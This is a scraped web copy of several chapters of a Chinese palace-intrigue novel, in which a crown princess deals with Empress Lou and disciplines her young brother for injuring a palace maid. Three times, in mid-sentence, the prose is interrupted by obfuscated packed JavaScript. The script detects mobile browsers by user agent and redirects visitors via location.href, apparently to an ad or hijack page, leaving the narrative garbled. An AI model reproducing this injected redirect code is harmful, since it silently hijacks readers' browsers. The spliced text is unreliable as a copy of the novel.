而她口里呼喊的娄皇后,由始至终都没出来瞧过一眼,连一同请安的其他妃嫔也不曾露面。整个宫殿空旷到就像只有那女子一人存在般,场面之惨烈,叫人心底生寒。 元嘉拢在袖下的手死死攥在一起,硬逼着自己镇定下来,可指尖仍有些微颤,耳边更是传来一阵瓷器碰撞之声。抬眼望去,刘婵与倪娉柔的脸色亦不甚好看,而那碰撞声,正是倪娉柔拿起杯盏时发出的声响。 似是察觉到了元嘉的视线,倪娉柔勉强扯了抹笑,却还是难看的很。 约莫又过了一盏茶的功夫,外头传来窸窸窣窣的动静,是行走间裙角与地面摩擦发出的声响。 想是正殿的那些人陆续离开了。 果不其然,头先接引的小宫人又出现在了门外,垂着脑袋,恭敬地请元嘉三人移步正殿。 元嘉轻吐出一口浊气,略整理了下衣角,又抬手抚了抚鬓边的发钗,待觉着无一丝不妥后,才起身往殿外走去,刘、倪二人亦是。 正殿内,元嘉居前,刘婵、倪娉柔二人左右相站,敛容朝娄皇后肃拜问安。 娄皇后倒一副平易近人的模样,还未等礼数行全,便已含笑叫起。三人依言起身,又各自入座,元嘉这才将视线投向上首。 与元嘉三人不同,娄皇后今日只作常服打扮,并未多戴金器玉饰,连瞧人也是一副笑盈盈的模样,刚才发生的事似乎并未影响到娄皇后的心情分毫。 “叫你们等久了,”娄皇后温言道,“只头先出了件烦心事着急了结,这才误了时候。” 此话一出,元嘉三人的脸色皆有些异样。 娄皇后自然也看出来了,眸光微闪,“这群奴才做事竟这般不留心,可冲撞到你们了?” “这倒不曾,”元嘉斟酌着开口,“不过隐约听见有女子在外呼喊的声音罢了。” 娄皇后唉唉叹了口气,“陛下病着,予也不好了这么些时候,有些人便生了小心思了。” 这话说得直接,可元嘉几个却是不好应和的。好在娄皇后也没想过要三个小辈出声,微微一笑便岔开了话题,“今日怎么就你们三个,宜妤和宜恕呢?” “天气渐热,孩子们不慎着了暑热,医女叮嘱静养,故而不曾进宫。” 元嘉解释道。 “虽未能进宫,可孩子们还是想着祖母的。等养好了身子,再带进宫来向您请安。” 刘婵亦道。 娄皇后听完,先看了眼元嘉,又转向刘婵,见二人面色如常,便也不再多问,只抬手唤来兰佩,“尚服局前两日是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15150636|154513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是新送了批锦缎?” “是,都收在库房里了。” “每个颜色挑两匹,送去太子府。” 见兰佩领命而去,娄皇后这才将视线收回来,“都是些颜色鲜亮的缎子,拿回去裁衣裳穿。” 元嘉三人自是起身道谢。 娄皇后浅浅抬手,示意坐下,又是一句,“徐氏那份便归了宜恕吧。” 元嘉眼皮一跳,心中隐隐有不好的念头,果然又听娄皇后道── “这个徐氏,还是当年闺阁里的小娘子做派,好好一个孩子,三不五时的被她病上一场,听着都可怜。太子妃,你且回去告诉她,若不想宜恕进宫,那便一辈子都不要进宫了。” 元嘉心下悚然。与一开始和她们寒暄时的温和面目不同,此刻的娄皇后语气逼人,整个人更显出几分锐利。可仓促间,元嘉也无法细想前者为何能笃定徐丽华在宜恕之事上说了谎,只能低声应是。 但这话却是万不能传出去的……否则不说徐丽华,单是宜恕,这辈子的光景便一眼望的到头了。 一个终生不能进宫的公主,还会被人高看、被百姓当做帝女对待吗? 见元嘉恭声应下,娄皇后又恢复了温蔼模样,“前些日子,太子向予讨了几个司礼仪的女官,说是两个孩子年岁渐长,虽现在还不好送进宫来念书,可仪礼却是不能落下的。” “是,虽还有年余才到开蒙之龄,可太子想着宜妤和宜恕到底大了,既已记事,仪礼的东西也该学起来了。” 元嘉只说是燕景祁的意思,旁的一概不提。 刘婵顺势接过话来,“这些日子,两个孩子都跟着女官们学了许多,也比从前更懂事了呢。” “宜妤从来都是个懂事孩子,”娄皇后瞥了刘婵一眼,“你把她教得很好。” 虽是句夸人的话,可娄皇后大抵只是为了用刘婵母子暗讽徐丽华罢了。前者隐晦地看了眼元嘉,目露无奈,亦识趣地不再开口。 元嘉垂下眼睑,勉力维持着面上的平静。娄皇后对徐丽华的不满已经明显到不耐遮掩了,也不知是因为燕景璇与徐家过往纠葛的缘故,还是徐丽华本身做了什么,以致惹了娄皇后厌弃。 而娄皇后,见下座三人一副沉默不语的样子,嘴角忽的噙了抹笑意,“太子妃可见过四公主?” “……不曾。” 元嘉缓缓摇头。 “她的生母,是临照殿的秦宝林。” 娄皇后不紧不慢道:“秦宝林非一宫主位,所以没有资格抚育四公主,陛下便将四公主交由宫里另外一位主位娘子照顾。四公主虽远离生母,可一应规矩都是极好的,连陛下也夸过好几次。” “宫里头有女官们照顾着,又得您不时看顾,四公主在秦宝林身边也好,在其他主位娘子的身边也罢,想来都能被教养得极好。” 元嘉有些明白娄皇后的意思了,却也只能不着痕迹地囫囵回去。 “是啊,生母也好,养母也罢,对孩子好才是最要紧的。” 这话一出口,下座便有人变了脸色──元嘉依旧一副恭谨听训的模样,刘婵则恍若未闻,只盯着自己鞋履上的纹样发呆。唯有倪娉柔,似乎明白了什么一般,整张脸都生动起来。 娄皇后的视线缓缓从倪娉柔的头顶掠过,唇边笑意愈大,却也不继续在这件事上纠缠,另闲话了两句,便让人退下了。 58. 骤怒意 三人走出殿外,仰头望着明净澄澈的天,皆生出一种劫后余生的庆幸。哪怕已离了娄皇后的视线,早前在殿内感受到的那股压迫依旧萦绕在身边,迟迟难以消退。 元嘉与倪、刘二人面面相觑,还没来得及说话,便听见长街传来一阵打闹声,又一点点往清宁宫方向靠近。 下一刻,两个身形瘦长的男孩你追我赶的跑了进来,正是五皇子燕景知和季元淳。 元嘉眼中闪过一丝笑意,正要开口唤人,便见燕景知跑动间不慎撞到了个正在剪枝的小宫人女。那小宫女好容易稳住身子,又被后跟进来的季元淳撞了个正着。 这下是再站不稳了。 不仅人跌倒了,连手里的剪子也一并摔了出去。手掌狠狠蹭在地面,当即便有血丝渗出。 元嘉顿时皱眉,又站在柱子旁瞧着季元淳不作声。刘婵和倪娉柔自然也认出了燕景知,只是元嘉停在原地没有动作,她二人便也站在身后默默注视。 燕景知显然还在玩耍的兴头上,并没有注意到清宁宫内还有旁人,更吝于将一丝余光投向那个被他撞得踉跄的小宫女。季元淳忙着追逐,也不曾停下脚步,只略缓了步子,顺势从地上拾起剪子。下一刻听见燕景知的呼唤,便将剪子朝小宫女的方向随意一掷,又险险从前者耳畔擦过。好在人躲得及时,倒也不曾伤到脸。 季元淳并没注意到自己将剪子掷到了何处,扔完东西便又追人去了,整个清宁宫都洋溢着二人欢快的笑声。那小宫女也只是默默地从地上撑起身子,将手里的血随意抹了两下,又捡起剪子继续剪枝。 元嘉眼中的笑意彻底消失,一张俏脸满是冷意。心中怒火翻滚,一时顾不得此处何地,身旁何人,皱着眉头低喝道:“元淳!” 正欢快跑动的身影停了下来。 季元淳似有所觉般抬起头,左右环视了一大圈,总算发现了被立柱阴影遮去大半身子的元嘉。整个人顿时雀跃起来,又高兴地喊出声── “阿姊!” 话音刚落,人便跑到元嘉跟前,抱住前者的胳膊不肯撒手。 燕景知慢了两步,也跟着上前,端正地朝元嘉一拢手,口中道:“三嫂嫂安。” 又直起身朝倪、刘二人道:“两位良娣好。” 刘婵与倪娉柔微微颔首。 元嘉强压下心中的愤怒,先将季元淳揽到身边,这才朝燕景知笑道:“五弟见过我?” 燕景知故作老成地摇摇头,挺直了脊背道:“我听身边的人提过嫂嫂,又见小淳唤嫂嫂姊姊,便知道你是我三哥新娶的妻子了。” 一番话说得有理有据,面上虽还矜持,望向元嘉的眼里却带着几分得意和雀跃,一副等着被人夸的模样,倒叫元嘉心底的躁浮散了几分。 元嘉摸了摸燕景知的脸庞,忍不住夸了一句,“五弟真聪明!” 几乎是说完话的瞬间,她便感受到衣袖处传来一股拉扯的力道,低下头便是季元淳撅着嘴不高兴的脸。 “我与两位良娣进宫向母后请安,出来时正好瞧见你们,”元嘉反握住季元淳的手,“便顺道接元淳回家。” 这话一出,在场几人皆将目光投在元嘉身上。 燕景知更是茫然,“可、可还没到休沐的日子呢……” 刘婵与倪娉柔都是看到小宫女摔倒那一幕的,大概猜出了元嘉的意思,彼此对视一眼,再看向季元淳时,少不得暗叹了口气。 唯有季元淳自己,是真的高兴,一张脸笑开了花。 “元淳许久未归家了,元淳的爹娘也会想元淳的。” 燕景知顿时理解般一点头,“我半日不见母后就会很想她了……那的确是该回家的。” 说着,又伸出手往季元淳的肩上拍了两下,“你快些跟三嫂嫂回去吧,等你回来了,我们再一起上学。” 季元淳这才反应过来,回家意味着要和燕景知分开,他既舍不得新交的朋友,也舍不得一段时日未见的父母,一张脸皱成一团,显然十分纠结。 元嘉抬头望了望天色,她们已在清宁宫停留了许久,实在不该再耽搁了。 “时候不早了,”元嘉半蹲着,与燕景知平视,“我们便先走了,下次再进宫和五弟说话。” 燕景知显然有些失落,但仍朝三人道:“三嫂嫂慢走,两位良娣慢走。” 元嘉朝燕景知笑着一点头,便拉着季元淳的手离开,刘婵与倪娉柔随在其后,前后脚出了清宁宫。 伺候燕景知的一堆嬷嬷宫女这才敢上前,又哄着闷闷不乐的小皇子进殿找娄皇后。 一路上,元嘉不发一言。 直到要上马车时,元嘉才对倪、刘二人道:“我先不回太子府了,期间若有人来找,你们只说我回季家了。” 两人自是点头,倪娉柔更特意将元嘉拉到一旁,轻声道:“你家小弟才多大年纪,有错好生说就是,可别真气急了伤到人,到头来你难过他也难过。” “我难道就这样沉不住气?” 元嘉没好气地睨了眼倪娉柔,跟着又长叹一声,“放心,我心中有数。只府里的事还要烦劳你和素娥多看顾些了。” 倪娉柔嗯了一声,这才和刘婵上了马车,临走前仍有些不放心,看了元嘉好几眼才掀帘子进去。 元嘉等两人的马车走远,这才拉着季元淳的手回到自己的马车里,也不管逢春惊讶的眼神,只径自朝车夫道:“去季将军府!” 说完便靠着车壁合眼假寐,也不管外头的人是听清了还是没听清。 季元淳偷摸看了眼元嘉,见前者一张脸冷淡无反应,又朝逢春的方向望了一眼,见她同样目露茫然,下意识瘪了嘴,有些委屈地把人盯住,“阿姊,我、我是做了什么事让你生气了吗?” 元嘉依旧阖着眼帘,闻言只道:“淳弟为什么这样说,难道是觉得自己做错了什么事?” 季元淳一见这反应,嘴角彻底耷拉下来了,眉头皱得死紧,两只手拽着垂下来的头发使劲回忆。少顷抬起头,一脸兴奋地朝元嘉道:“阿姊,我知道了!是不是因为我撞到了一个姊姊,所以才惹你不高兴了!” 闻言,元嘉总算睁开了眼,可脸色却并未因季元淳的话好上半分,甚至更加冷冽,“你撞到了人,还这么高兴?” “那个姊姊自己起来了,没有事情呢!” 季元淳自觉找到了叫元嘉不高兴的地方,整个人更加兴奋,却不曾注意到前者的语气越来越冷。 “你除了把人撞倒,就再没做旁的了?” 元嘉耐着性子发问。 季元淳又是好一通回忆,才总算想起了在清宁宫里发生的一切,顿时泄了劲,人也蔫蔫的不敢吱声。 元嘉把人瞧着,“想起来了?那便告诉阿姊,你还做了什么。” 季元淳偷摸抬眼,正好撞进元嘉的视线里,又赶忙把头缩回去,见实在躲不过去了,这才小声道:“我、我把剪子给那姊姊扔过去了。” 说完又好似意识到了什么一般,急急忙忙补充道:“我本来想递给她的,可是五郎唤得紧,我就、我就......” “就?就怎么样!” 元嘉总算坐直身子,看着季元淳的眼里满是痛惜,“就把剪子随便一扔,还差点划伤那小宫女的脸!” “可、可也没划到呀......” 季元淳小声嘟囔着。 正当时,车身突然剧烈地晃动了一下,季元淳一时不察,顺着力道倒了下去,手肘重重地磕在车壁上,当下痛呼出声。 元嘉猛地扯下腕上的珠串,对着季元淳的肩膀便砸了过去。前者被手肘的痛楚带走了全部注意,一时不察,又被珠串打出一声痛呼── “阿姊,痛!” “痛?你哪里痛,是肩膀上多了块淤青,还是脸上被谁划了道血痕?” 元嘉不为所动,“不过被个几两重的手串砸了一下,便这样呼天抢地的。那小宫女被你撞在地上出了血,又差点叫你毁了脸,可有喊过半个字?看来还是你更金贵些。” 季元淳捡起跌在手边的珠串,本想递还给元嘉,一听这话,立刻将东西攥在自己手里不放了,嘴里还嘟囔着:“那我回去的时候同宫女姊姊道歉便是……可是阿姊打我也很痛,阿姊也得给我道歉。这珠串、这珠串就当是阿姊给我的赔礼了!” 元嘉看着季元淳明显带着不服气的脸,叹了口气,“阿姊砸了你,阿姊可以道歉。但你呢?你是因为知道自己做错了才去道歉,还是因为被阿姊逼迫,才不得不去道歉呢?” 她也是从小孩子长起来的,自然不难猜出季元淳心中所想。这般年纪的孩童,哪怕真发现自己错了,也不愿意在亲近人面前承认错误。 因为会丢面子。 果不其然,季元淳听了这话,顿时不高兴地扭过身子,两手抱胸背对着元嘉。 “五郎跑在我前头,是他先撞到宫女姊姊的!” 季元淳瓮声瓮气道。 “阿姊只问你一句,那小宫女是因为谁倒在地上,又是因为谁受的伤?” “淳弟,”元嘉耐着性子道,“你真要这样一直背对着阿姊吗?阿姊也会难过的。” 季元淳的身子僵了一下,却仍梗着脖子不吱声。 看着前者堪称倔强的背影,元嘉默默叹了口气,想着自己是不是对季元淳太苛责了。便有不到之处,好生教导便是,何必如此咄咄逼人,叫他难受。 元嘉这样想着,又将手搭上季元淳的肩膀,正欲说些缓和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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季元淳一点点探出手去,似乎想要握住元嘉的袖角,却被前者一抬手避开了。 两个人一左一右,泾渭分明。 直到外头传来窸窣的响动,元嘉才坐直身子,一掀帘朝车外探去。 “大娘子!” 许久不见崔贵,前者仍是一副憨直模样,见了元嘉也下意识唤着从前的称呼。 元嘉笑着颔首,又将身子往内缩了一缩,“淳弟在我车上呢,还劳你先帮我把他抱下马车。” 崔贵诶了一声,正要上手,却见季元淳委屈地看着元嘉,身子一动不动。 元嘉面上没有任何波动,只淡淡瞥了季元淳一眼,前者便老实起来,低垂着脑袋,扶着崔贵的手从马车上跳了下来。 “崔贵,把小郎君扶稳当些,别叫他摔了。” 季府大门外路面平整,季元淳更是好好地站着,元嘉这句话实在有些摸不着头脑。可崔贵仍然听进去了,用两只宽厚的手掌搭住季元淳的肩膀,嘴里还道:“您回来了,主君和夫人一定高兴坏了!” 元嘉保持着掀帘的动作,神色如常,“劳你把淳弟带回幽篁院,我便不进去了,下回再向父亲母亲请安。” 季元淳顿时红了眼眶,伸出手想要抓住元嘉,却被崔贵搭在肩上的两只手掌阻了大半力气,终究连元嘉的衣角也没碰到。而崔贵,也是到这时才明白元嘉是什么意思,饶是自家小郎君挣扎得厉害,也不曾松手。 “阿姊!” “阿姊!” “逢春,上车。” 说完这四个字,元嘉便再不停留地松开了手,任由帘布阻隔在她与季元淳之间。 “盼春娘子,这、这是怎么了呀?” 崔贵不知道发生了什么,却也看得出这对姊弟间有了隔阂。 逢春看着毫无动静的车厢,身旁是两眼含泪的季元淳,急得直跺脚,无奈凑近崔贵耳边,又低低说了几句话。 “……就请崔大哥把小郎君好生送回夫人院子吧!” 匆匆忙说完,逢春再不好耽搁,一转身便踩着脚凳回了车厢。 车夫扬起马鞭,几瞬功夫便将车驾驶离了季府,也一并将季元淳的哭喊声远远甩在了身后。 崔贵看着没了踪影的马车,又看了眼不住抽噎的季元淳,顿感头疼。 “小郎君,和崔贵一起去找夫人好不好?” 崔贵低声哄道。 季元淳只顾着嚎泣,哪里听得清崔贵的话。前者又是安慰又是许诺,什么都说尽了,却还是不起作用,一时不知该如何是好,只好自作主张地牵过季元淳的手,领着自家小郎君往幽篁院去。 59. 解隐困 出乎逢春的意料,从季府离开后的元嘉再没有露出任何的愤怒情绪,甚至在马车驶出街口后,还饶有兴致地掀开帘子,又欣赏起街边的风景来。 “……您不是在生小郎君的气吗?” 逢春细细观察着元嘉的脸色,语气中带着迟疑。 “去皇宫。” 元嘉吩咐了一句,这才放下帘子看向逢春,“一个半大小子而已,我犯得着跟他置气?” “那您头先......” 逢春嗫嚅道。 “淳弟在家时被我们宠惯了,”元嘉眉峰微聚,“便是说错了话做错了事,身边的都是些亲近人,谁又会真的怪罪了他去。” “可现在不同了。他进宫做了五皇子的伴读,一举一动都有人盯着,难免要谨言慎行。行差踏错一步,换来的便可能是灭顶之灾。那时,不止是淳弟,整个季家都会大祸临头。”元嘉想着季元淳随意称呼燕景知为五郎的样子,又开始头痛起来,“我实在不敢去赌。” “小郎君这次瞧着实在难过,奴婢只怕他来日怨您呢。” 道理虽听明白了,可逢春还是担心季元淳由此对元嘉生疏。 “他怨我?” 元嘉嚼着这几个字,冷哼一声,“这小子仗着家里疼惜,便可劲儿地往我心口上戳刀子。真论起来,也该是我先怨他才对!” 元嘉说着又有些生气,愤愤捶了两下软枕,又压低了声音道:“可这话也忒怪了些,我又不曾见过五皇子,怎就让那小子以为今日之事是我偏心所致?” 逢春的脸色一点点凝重起来,须臾带着些许的不确定,“莫不是,有人故意在小郎君面前说了挑拨的话?” 元嘉垂眸思忖了片刻,最终还是否定了这个可能,“你今日是没瞧见,皇后殿下何等的威严果决,五皇子是她最疼爱的幼子,淳弟又是五皇子的伴读,便是为了自己的这个儿子,皇后殿下也绝不会容人乱嚼舌根的。” “可……” “怕是些自以为是的聪明人,只想着在主子面前卖乖讨好,却忘了有些话说出来便是得罪人的。” 元嘉抿着嘴,手习惯性的往腕上摸去,待扑了个空才反应过来,珠串早扔给季元淳了。 “所以咱们才要再去趟皇宫吗?” 逢春想起元嘉刚才的吩咐,又小心忖度道。 “也算是吧。” 元嘉含糊了两句,到底没有细说。 她得进宫去向皇后陈情。 季元淳已被她送回季府了,可清宁宫发生的事情还没有了结,在两个孩子身边乱说话的人也还没有发落掉。 她不放心。 …… 马车又一次停下,元嘉轻车熟路地上了辇。摇头拒绝了想要跟随同行的逢春,元嘉低声吩咐了两句,见前者认真点头,这才命人往清宁宫去。 行至宫门口,元嘉突然生出几分忐忑──晨参已毕,她也已经离开过一次了,这会儿又进宫来,她实在不确定娄皇后是否还愿意见她。 可便是见不到,今日这趟,元嘉也是不得不来的,若连姿态都不做足,那后面才真是会有麻烦。 门口的小内侍眼尖,元嘉的步辇刚落地,便已迎了过来,“问太子妃安!” 抬手把人叫起,元嘉看了眼微掩的殿门,轻声道:“皇后殿下可在休息?” “殿下正陪着五皇子玩儿呢。” 那内侍答道。 “那便请你替本宫通传一声。” 那内侍应了一声,先告了声罪,这才疾奔进去通禀。 不多时,原本微掩的殿门被人自内而外打开,兰佩的身影随即出现,朝着元嘉一屈膝,敛目道:“问太子妃安,还请您随奴婢往东侧殿去。” 元嘉颔首,又随在兰佩身后一并往东侧殿去。但出乎她的意料,殿内只有娄皇后一人,不见燕景知的身影,亦没有其他服侍的宫女。娄皇后也依旧穿着元嘉离开时的那身衣裳,竟给人一种在特意等谁的错觉。 已近人前,元嘉便也收敛心绪,神色如常地向娄皇后行礼问安。 娄皇后叫了起,又让人坐下,这才问道:“怎么又回来了?” “您病体初愈,原不该再三过来打扰您的……” 元嘉赧然,“只前两日,太子给了儿臣一枚凤首簪。那簪子实在贵重,又是您的陪嫁之物,儿臣收下后,总惦记着要亲自向您谢恩才是。” “那凤首簪再珍贵,也只是死物,留在予这里,也不过是让它继续不见天日罢了。”娄皇后呵呵一笑,“你若真想谢予,便常常戴着它,予便是瞧着也是高兴的。” 其实,这借口实在蹩脚。 明明之前在清宁宫呆了许久,却偏偏要等出了宫后又折回来。便是元嘉自己,话说出口都有些失底气,可娄皇后倒恍若未觉般,乐呵呵地同元嘉打着囫囵,气势倒又跟第一次见面时相合了。 几番心思回转,元嘉也在脑子里打好了腹稿── “说来惭愧,成婚至今,竟还没与五弟见过面,”元嘉神色自若,“头先出去的时候,赶巧在殿外碰着了他,五弟竟能脱口而出‘嫂嫂’,倒叫儿臣有些过意不去了。” 娄皇后听罢,却并未露出异样,想是燕景知已同她提过了。 “那小子主意多着呢,别吓着你了才是!” 提到燕景知,娄皇后显然高兴了几分,说话间也不免带了三分笑意。 “要说,还是跟在五弟身边服侍的人机灵。”元嘉垂目一笑,又似不经意般提起,“儿臣问五弟何以识得儿臣,五弟道是身边伺候的人提过……也不知道是哪个伶俐人,倒显得儿臣身边的都是些笨口拙舌的了。” 娄皇后闻言,眸光微烁,“予还以为是那小子聪明,没想到竟是取巧,倒白费予在你面前夸他一句了。” “五弟聪敏灵巧,儿臣见了也是喜欢的,”元嘉笑意不改,“头先儿臣瞧他一本正经的模样实在可爱,亦忍不住夸了一句。我那小弟回去便委屈上了,竟还当着儿臣的面呷起醋来。” 娄皇后的表情,随着元嘉的话一点点变得莫测起来,可说话的语气仍 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“一匣子给你,用来赏人也好,另打了去做首饰也罢,全凭你心意。”娄皇后解释了两句,又指着其中一个,“至于另一个匣子,便叫你替予费个脚程送去季府,给你家母亲和嫂子。季小郎君受了委屈,少不得叫她二位多费些心思安慰了。” 元嘉这才起身,又行礼谢过。 “天阴沉沉的,怕是要下雨了,”娄皇后扫了眼窗外的天色,温声道,“你早些回去,别淋着了。” 元嘉此行的目的已然达到,余下便端看逢春那头了。此刻再听到娄皇后的话,便也不再停留,立刻起身告退。 兰佩捧着匣子跟在身后,一直到将东西交给不知何时又回到殿外等候的逢春后,方才行礼离开。 东侧殿内。 娄皇后沉默地听着兰佩的回禀,瞳孔深处掠过一丝极淡的满意。 “这么说,太子妃竟专程叫人给竹心送了治伤的膏药?” “是,”兰佩轻声道,“不仅送了膏药,还给了些散碎银子,让竹心这些日子去尚食局添些好的。” “那侍女倒算有心,”娄皇后笑出声来,“没送什么钗呀环的,知道在宫里头最好使的,还是银子。” 兰佩笑着附和了两句。 “咱们宫里的人、与竹心同住一屋的人,竟也没拦上一拦,问上一问?” 娄皇后饶有兴致。 “原是悄悄避了人去的,说瞧着竹心像是她认识的一个同乡姊妹,又是跟在太子妃身边的,大伙儿便也没有多说什么,权当送个顺水人情。” 兰佩倒是直言不讳。 “也算做得体面了,”娄皇后赞了一句,转而吩咐道,“竹心这个月的俸例再加一倍,便从五郎的月例银子里扣,得叫他长长记性才行!” 兰佩应了一声,打量着娄皇后的神色,笑着又凑兴了两句,“可见太子妃是个做事妥帖的。” 娄皇后不置可否,只看着檐角突然开始滴落的水珠,一点点冷了神色,“若非她妥帖,予还被蒙在鼓里呢……五郎的身边何时多了这么些嘴碎的小人了!” 60. 各通意 “……想是新拨过来伺候的。” 兰佩说的小心,“约莫是等一个在主子跟前冒头的机会呢。” “做好分内的事,何愁没有冒头的一日,却偏偏要选在主子耳边嚼舌根这条路。”娄皇后绷着一张难看的脸,“若不是太子妃警觉,天长日久的,五郎和那季小郎君早晚要生了嫌隙,说不定连季家都也会和皇室生分……说这话的人实在该死!” 娄皇后虽极力压抑着声调,可言语中的怒气却是盖不住的,兰佩亦不敢再说话,只垂手等候吩咐。 良久,兰佩才听见娄皇后带着冷意的声音,“去,把五郎身边的宫女内侍全部换掉,记得找个妥当的理由,别叫五郎生疑了。再去知会孙宫正一声,请她把眼睛擦亮些,宫里头竟敢有碎嘴的奴才,予实在烦心的很呢!” 兰佩立刻应下。 “应当不会有人过来了,”娄皇后总算松泛了身子,“予要更衣,兰佩,让她们进来伺候。再去瞧瞧五郎,若还没醒便把他叫起来,省的夜里睡不着,到处闹腾。” 兰佩又是点头,随即扶着娄皇后往后殿走去。 “要说那孩子也是老实,穿着一身礼衣,还顶着满头的花钗,就这么宫里宫外的来回跑,只怕明天是身上也疼、头上也疼了。” “您这是心疼媳妇了。” 兰佩笑道。 “予记得库房里好似还有些血燕,明儿个送去太子府吧。” 娄皇后又是一声吩咐。 “是,奴婢记下了。” …… 另一厢。 元嘉急匆匆上了马车,顾不得松泛身子,便先抖落起身上的雨水来。 这场雨来的突然,元嘉还没走到宫门口便下了起来。顷刻间便搅得人手忙脚乱,虽有遮蔽,却还是不可避免的溅到了少许。 逢春顾不得自己,先摸出帕子揩净了元嘉身上的水渍,这才随意往自己身上抹了两把。 “都办妥了?” “是,”逢春靠在角落,“奴婢将东西送了去,又说了许多的软话。那位姊姊瞧着倒是个好性的,并不曾对奴婢冷言冷语。只手伤了,少不得要耽搁几天做事了。” 元嘉嗯了一声,顺手将身边的软枕推了过去,“那便好,余下端看阿娘那边了。” 了却一桩大事,元嘉脑袋里绷了一天的弦总算松了下来。一放松,便感觉到发丝被头顶的一堆物事坠得生疼。下意识撑住脑袋,元嘉两弯秀眉紧蹙,竭力遏制自己因疼痛而扭曲的面孔,到底还是忍不住呼了声痛。 逢春凑了过来,先去掉几支轻的花树钗,又小心翼翼取下鬓间的宝钿、步摇等物,只留下几支固发用的双股钗和梳栉。 头上的压力没了,元嘉顿时如释重负。 “奴婢晃眼瞧着,您头上多了好几块红痕,有些地方还渗着血丝,想是这些首饰太重了,扯着头发了。”逢春整理着元嘉的发髻,“这几日还是寻些轻的珠花来戴,等头上的伤养好了,再戴回这些金钗玉簪什么的。” 元嘉仍是撑着脑袋,嘴里小声地嘟囔着,“养好了也没用,下回进宫还是这身行头。倒不如多疼几次,磨出了茧子也就习惯了。” “女君浑说什么呢,”逢春不赞同地打断,“等回去了,奴婢便请章太医调个药水,日日给您抹上,总得先养好了才是。下次再进宫,便改戴冠,仪制上也挑不出差错。” 元嘉瞧了人一眼,“哪用得着那么着急,回去还是先把你这身衣裳换了,没得着了凉,最后倒给自个儿拿药了。” 逢春却只抿着嘴笑,并不接元嘉的话。前者无可奈何般瞪了人一眼,缓缓将视线投向车顶,不自觉间有些睡意昏沉。马蹄踏过水洼发出啪嗒的声音,和雨打在车顶的滴答声更唱迭和,莫名生出几分和谐。元嘉一时放空,竟在车厢内睡了过去。 …… 元嘉是在马车停稳后被唤醒的。 雨仍旧没有停下,车轮碾过青石板路面的声音被盖在绵密雨势之下,并不为守门的内侍所察觉,太子府的大门仍是紧闭。无法,车夫只好下了驭座奔去叩门。不多时,帘外传来一阵杂乱的脚步声──有人过来了。 元嘉眼前的帘布被从外头掀开,而后有人撑着油纸伞,细细替她遮去了全部的雨丝。朦胧雨雾中,元嘉瞧清了那道瘦长人影,却是本该留在长春馆的徐妈妈。 或许是元嘉面上的惊讶之色太过明显,徐妈妈温和一笑,来不及解释,先小心搀着人下了马车。早在阶下等着的红玉等人也一并围了上来,或替逢春遮挡,或为元嘉披衫。简单收拾以后,才拥着人回了长春馆。 而后她才明白,为何会是徐妈妈领着人来接她──长春馆内,除了惯常伺候元嘉的人外,还多了个意想不到的身影。此刻正由玉兰和拂冬陪着,坐在正堂的一角吃茶。 竟是服侍在季母身边、许久未见的李嬷嬷。 玉兰见元嘉回来,旋即起身,微微一屈膝,面上含笑道:“女君回来了。” 元嘉浅浅一颔首,正欲相问,又听玉兰自然道:“良娣命奴婢陪着嬷嬷略坐坐。您如今回来了,奴婢便不打扰您与嬷嬷说话了,这就回去向良娣复命。” 元嘉瞬时了然,“多谢你家良娣帮忙,可本宫今日实在狼狈,只好改日再请她过来吃茶道谢了。” 玉兰笑着应下,又快步离了去。红玉、红珠也极有眼力,紧跟着放下手里的东西,各自寻了借口离开,只将正堂留给同为季府的旧人。 元嘉这才看向李嬷嬷,还来不及说话,便被前者一通抢白,“娘子先去将湿衣裳换下,没的着了凉!” “不打紧,只是衣角上沾了些水渍罢了。” 元嘉本欲推拒,可看着李嬷嬷心疼的目光,又说不出话了。只好由着人推进里屋换衣。一来二去的,少不得又是小半晌功夫。 待到再出来时,黄花梨木的方桌上正冒着热气──已然摆好吃食了。 元嘉哑然失笑,避开了李嬷嬷试图服侍的手,轻巧提起裙摆,便坐在了靠窗的软榻上。将小案几拖到身前,元嘉又让敛秋随意挑了几样点心,囫囵塞了两口,便笑眯眯地望向李嬷嬷,道:“好嬷嬷,我衣裳也换了,东西也吃了,不曾受凉,反倒有些燥热呢。” 李嬷嬷忍不住一笑,逢春趁机扶着李嬷嬷坐到元嘉的对面, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15184840|154513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又另选了几碟子吃食凑近放着。拂冬则搬了个杌子让徐妈妈坐下。敛秋适时送上姜茶,又朝念夏示意一眼。前者忙上前为李嬷嬷另换了杯新茶。 李嬷嬷从刚才便一直没有说话,只看着元嘉身边几个侍女作为,见一应事宜皆井井有条,总算露出一丝赞赏。只目光扫过念夏的时候,眸色微动。 “这几个丫头愈发稳重了,夫人若是瞧见,也能放心许多。” 李嬷嬷收回视线,含笑道。 “那也是嬷嬷你慧眼识英,挑中了她们在我院里,如今也省了我许多事呢!” 